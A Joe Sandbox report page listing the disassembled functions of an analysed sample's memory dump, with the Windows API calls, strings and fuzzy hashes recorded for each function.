Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 3a11110d005350468ff92b3b6c463a550855f8418f07cfc3ab953ba7cf64a3fc
Instruction ID: e7775f7db34835bbd7d09c00befb44f4cb26a173e7b7be40f27acfefdebb2820
Opcode Fuzzy Hash: 3a11110d005350468ff92b3b6c463a550855f8418f07cfc3ab953ba7cf64a3fc
Instruction Fuzzy Hash: B431D87294021DAADF109BB4EC4CAEE77AC9F09332F1401A5ED14A21E1DB70DE8DBB54

Function 00F488CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F48E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00F48E3C
Part of subcall function 00F48E20: GetLastError.KERNEL32(?,00F48900,?,?,?), ref: 00F48E46
Part of subcall function 00F48E20: GetProcessHeap.KERNEL32(00000008,?,?,00F48900,?,?,?), ref: 00F48E55
Part of subcall function 00F48E20: HeapAlloc.KERNEL32(00000000,?,00F48900,?,?,?), ref: 00F48E5C
Part of subcall function 00F48E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00F48E73

Part of subcall function 00F48EBD: GetProcessHeap.KERNEL32(00000008,00F48916,00000000,00000000,?,00F48916,?), ref: 00F48EC9
Part of subcall function 00F48EBD: HeapAlloc.KERNEL32(00000000,?,00F48916,?), ref: 00F48ED0
Part of subcall function 00F48EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00F48916,?), ref: 00F48EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00F48931
_memset.LIBCMT ref: 00F48946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00F48965
GetLengthSid.ADVAPI32(?), ref: 00F48976
GetAce.ADVAPI32(?,00000000,?), ref: 00F489B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00F489CF
GetLengthSid.ADVAPI32(?), ref: 00F489EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00F489FB
HeapAlloc.KERNEL32(00000000), ref: 00F48A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00F48A23
CopySid.ADVAPI32(00000000), ref: 00F48A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00F48A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00F48A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00F48A95

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 79c0a2d762a91306a5e1d438d379183c3f1fbfddb8bbb980cf764ff799af78a2
Instruction ID: e38815b82f5c65b2527bb5f12b0f38ce9da8733e3c092a42eb84eb2a96dc5672
Opcode Fuzzy Hash: 79c0a2d762a91306a5e1d438d379183c3f1fbfddb8bbb980cf764ff799af78a2
Instruction Fuzzy Hash: 15615A71900209BFDF01DF95EC49AFEBB79FF04354F04812AE815A6290DB759A06EB60

Function 00F70A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F7147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F7040D,?,?), ref: 00F71491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F70B0C

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00F70BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00F70C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00F70E82
RegCloseKey.ADVAPI32(00000000), ref: 00F70E8F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: a15be1b3ed0df2ae193b54b4dfc760b61f6541c6ca596f0b8d237d7ff008d933
Instruction ID: 9a3eb8ca3d91b345db22167407e76072361796b258b52cfb8cc42a67200b4bb3
Opcode Fuzzy Hash: a15be1b3ed0df2ae193b54b4dfc760b61f6541c6ca596f0b8d237d7ff008d933
Instruction Fuzzy Hash: 4BE15B71604214EFC714DF28C891E6BBBE5EF89714F04896DF84ADB2A1DB30E905EB52

Function 00F5443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00F54451
__swprintf.LIBCMT ref: 00F5445E

Part of subcall function 00F138C8: __woutput_l.LIBCMT ref: 00F13921

FindResourceW.KERNEL32(?,?,0000000E), ref: 00F54488
LoadResource.KERNEL32(?,00000000), ref: 00F54494
LockResource.KERNEL32(00000000), ref: 00F544A1
FindResourceW.KERNEL32(?,?,00000003), ref: 00F544C1
LoadResource.KERNEL32(?,00000000), ref: 00F544D3
SizeofResource.KERNEL32(?,00000000), ref: 00F544E2
LockResource.KERNEL32(?), ref: 00F544EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00F5454F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: a93b6f52a90c404cb8594c1d36f8f5a36487d150e3f4a4bcb0d963cd1e474db7
Instruction ID: 833c66ecb336b6087d883f67f7bbff9e0b31d79f74f817f903aa9b9e83035e09
Opcode Fuzzy Hash: a93b6f52a90c404cb8594c1d36f8f5a36487d150e3f4a4bcb0d963cd1e474db7
Instruction Fuzzy Hash: 7B31C37190121AABCB119F60EC48AFF7BACEF04356F444425FE11D2150EB74E955EB60

Function 00F64830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00F64857
EmptyClipboard.USER32 ref: 00F6485D
GlobalAlloc.KERNEL32(00000002,?), ref: 00F64872
CloseClipboard.USER32 ref: 00F64911

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 347918585db27819eee6ef52e6bf2d30181ee310e5e60a9430cd95e4b9fed5ae
Instruction ID: 2fba5d19684866be7fbda111f1af0834704c9b55f1cd1e35edae7a520101ead4
Opcode Fuzzy Hash: 347918585db27819eee6ef52e6bf2d30181ee310e5e60a9430cd95e4b9fed5ae
Instruction Fuzzy Hash: F4218131641214AFDB51BF60EC49F7E7BA8EF84721F008019FA069B2A1DF75AD11AB94

Function 00F5FA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00F5FA83
FindClose.KERNEL32(00000000), ref: 00F5FB96

Part of subcall function 00EF52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00EF52E6

Sleep.KERNEL32(0000000A), ref: 00F5FAB3
_wcscmp.LIBCMT ref: 00F5FAC7
_wcscmp.LIBCMT ref: 00F5FAE2
FindNextFileW.KERNEL32(?,?), ref: 00F5FB80

Strings

*.*, xrefs: 00F5FA68

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: a402e9269216a1f8b8d14a9c96a472ed99511fdeb327a200d9a28afeaa649033
Instruction ID: ff1e317cc20482afe97cb7dc309894882303e9cb647038abbd04dc7d36410f3d
Opcode Fuzzy Hash: a402e9269216a1f8b8d14a9c96a472ed99511fdeb327a200d9a28afeaa649033
Instruction Fuzzy Hash: FB419071D0021AEFDF14DF64CC59AEEBBB4FF05351F1481A5E914A22A1EB349A48EB50

Function 00F55778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00F49399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00F493E3
Part of subcall function 00F49399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00F49410
Part of subcall function 00F49399: GetLastError.KERNEL32 ref: 00F4941D

ExitWindowsEx.USER32(?,00000000), ref: 00F557B4

Strings

, xrefs: 00F557A2
SeShutdownPrivilege, xrefs: 00F55784
@, xrefs: 00F557A7

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 3f9e153a3c79ee45c468be21fd2c0eebcc95ea6f764be1484076174df8a83f54
Instruction ID: 54739065cc964e564a063be415ba5d1a7853d62022dab621c086c787d0356d81
Opcode Fuzzy Hash: 3f9e153a3c79ee45c468be21fd2c0eebcc95ea6f764be1484076174df8a83f54
Instruction Fuzzy Hash: 35014C71B4071EEAE72852B4BC6ABBB7758EB08F62F100015FE13D60D2D9545C0CB150

Function 00F6696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00F669C7
WSAGetLastError.WSOCK32(00000000), ref: 00F669D6
bind.WSOCK32(00000000,?,00000010), ref: 00F669F2
listen.WSOCK32(00000000,00000005), ref: 00F66A01
WSAGetLastError.WSOCK32(00000000), ref: 00F66A1B
closesocket.WSOCK32(00000000,00000000), ref: 00F66A2F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: a58cda2bd764b45e603c914ca4de0124ae8dee4042143096fa32e0b1c4b745ed
Instruction ID: 5ba909a58aaa772c0b9946f8198af4622a655c653e85a386c27b47b030e21a0e
Opcode Fuzzy Hash: a58cda2bd764b45e603c914ca4de0124ae8dee4042143096fa32e0b1c4b745ed
Instruction Fuzzy Hash: AE21CE71600208AFCB00EFA4CC89A7EB7E9EF44720F148558E916F72D1CB34AC05EB90

Function 00EF1663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00EF1DD6
GetSysColor.USER32(0000000F), ref: 00EF1E2A
SetBkColor.GDI32(?,00000000), ref: 00EF1E3D

Part of subcall function 00EF166C: DefDlgProcW.USER32(?,00000020,?), ref: 00EF16B4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 93dd1ef82fb523b71037e1f06b08b99a4e40041c2c7f530ad1710b565ffb91cb
Instruction ID: fdc05cf7140b73eb67fbf3d4b4d4fadd84c99783c6847f8949996d394017e761
Opcode Fuzzy Hash: 93dd1ef82fb523b71037e1f06b08b99a4e40041c2c7f530ad1710b565ffb91cb
Instruction Fuzzy Hash: 44A17A7010951CFAD6286B299C49EFB36BDDF8131AF64518EFA01F6182CB269D01F372

Function 00F5C2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00F5C329
_wcscmp.LIBCMT ref: 00F5C359
_wcscmp.LIBCMT ref: 00F5C36E
FindNextFileW.KERNEL32(00000000,?), ref: 00F5C37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00F5C3AF

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 6c92936f7ebf8d559e6157553478b7911af846df2001c4ab0fed9f722eaf5547
Instruction ID: f0508ae43172a163063130de50b7589198b3cee1f82b8bdb6ec571c9fc31dccf
Opcode Fuzzy Hash: 6c92936f7ebf8d559e6157553478b7911af846df2001c4ab0fed9f722eaf5547
Instruction Fuzzy Hash: CE518B75A047068FC714DF68C890EAAB7E4FF49321F104619EA56CB3A1DB30AD09EB91

Function 00F66E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00F68475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00F684A0

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00F66E89
WSAGetLastError.WSOCK32(00000000), ref: 00F66EB2
bind.WSOCK32(00000000,?,00000010), ref: 00F66EEB
WSAGetLastError.WSOCK32(00000000), ref: 00F66EF8
closesocket.WSOCK32(00000000,00000000), ref: 00F66F0C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 545976cbe8d36fcb778eedf7ff6129038e0e3bd81037ed887d3ee20ba3cd0b26
Instruction ID: ba3bd517b22c7b908cc20e3e120360b898d83ba9b2bb81989a8b86b26386d2cd
Opcode Fuzzy Hash: 545976cbe8d36fcb778eedf7ff6129038e0e3bd81037ed887d3ee20ba3cd0b26
Instruction Fuzzy Hash: 6341A1B6700218AFEB10AF64DC86F7F77E89B44714F048558FA16AB3D2DB719D009BA1

Function 00F759B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00F75A02
IsWindowEnabled.USER32 ref: 00F75A10
GetForegroundWindow.USER32(?,?,00000001), ref: 00F75A1D
IsIconic.USER32 ref: 00F75A2B
IsZoomed.USER32 ref: 00F75A39

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 129245520c99a01a5f1b9c4840f9ea55ae3d87dbbbe1e158a393b2e564467c3b
Instruction ID: 06d3b13c8b6ef36f02c5603a234bef1378f2d2d6b76ce81587a4f03db76a952a
Opcode Fuzzy Hash: 129245520c99a01a5f1b9c4840f9ea55ae3d87dbbbe1e158a393b2e564467c3b
Instruction Fuzzy Hash: 25110872700A159FF7111F269C84A7E7BA8EF84B30B44813AF909D7241DFB4D9019BA1

Function 00F30030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00F30034
__swprintf.LIBCMT ref: 00F30065

Strings

%.3d, xrefs: 00F3003F
WIN_XPe, xrefs: 00F300A4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 4293ea8fc6b1d44deca757e9cde963f3f4844b230f5efc8e1b32f5ed27f17560
Instruction ID: 373c6dc5de59c5a3e6e7ee6e950d495b5c75937388c8ead47f675676c8950161
Opcode Fuzzy Hash: 4293ea8fc6b1d44deca757e9cde963f3f4844b230f5efc8e1b32f5ed27f17560
Instruction Fuzzy Hash: 29D012F3858108EAC74C9B90CC54FFA777CAB04320F100053F546A2040DA358788BB26

Function 00F629BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00F61ED6,00000000), ref: 00F62AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00F62AE4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: f88360e3edc585e28ae6fef8c6369399d4eb2aa794e442ec9a2247c283a8d5f0
Instruction ID: a6fba75b90dee4d14aa351b91984d4e691f905aba7b1dde01bc4d8e565b140e0
Opcode Fuzzy Hash: f88360e3edc585e28ae6fef8c6369399d4eb2aa794e442ec9a2247c283a8d5f0
Instruction Fuzzy Hash: FA41A772A00A09BFEB60DE94CC85FBB77BCEB80764F10405AF605A6141DAB59E41B760

Function 00F49399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00F10FE6: std::exception::exception.LIBCMT ref: 00F1101C
Part of subcall function 00F10FE6: __CxxThrowException@8.LIBCMT ref: 00F11031

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00F493E3
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00F49410
GetLastError.KERNEL32 ref: 00F4941D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 764404b24d618deadfbe37b058fb659d6bfe972fe4434bd89cc09eb7b3a896e3
Instruction ID: 52d752b71e36f70c1b4496909bf4d015ed088cf3becd03388929acab788cf663
Opcode Fuzzy Hash: 764404b24d618deadfbe37b058fb659d6bfe972fe4434bd89cc09eb7b3a896e3
Instruction Fuzzy Hash: 1A1191B2918209AFD728DF54DC86D7BBBBCFB48710B21852EF45993250EB70AC41DB60

Function 00F542D5 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00F542FF
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 00F5433C
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00F54345

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 3aef9786f17a9eaf278cb018d653ab22b61043774a18faafe7893dd46e1b5e58
Instruction ID: 7bb5109e1ea068e23f43e10dcfeb3f3f7cf607c69c58123ae908b85079d1e77b
Opcode Fuzzy Hash: 3aef9786f17a9eaf278cb018d653ab22b61043774a18faafe7893dd46e1b5e58
Instruction Fuzzy Hash: 121173B2D00229BAE7109BA89C44FFEB7ACEB08725F100156BE14E7190C274594497A1

Function 00F54F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00F54F45
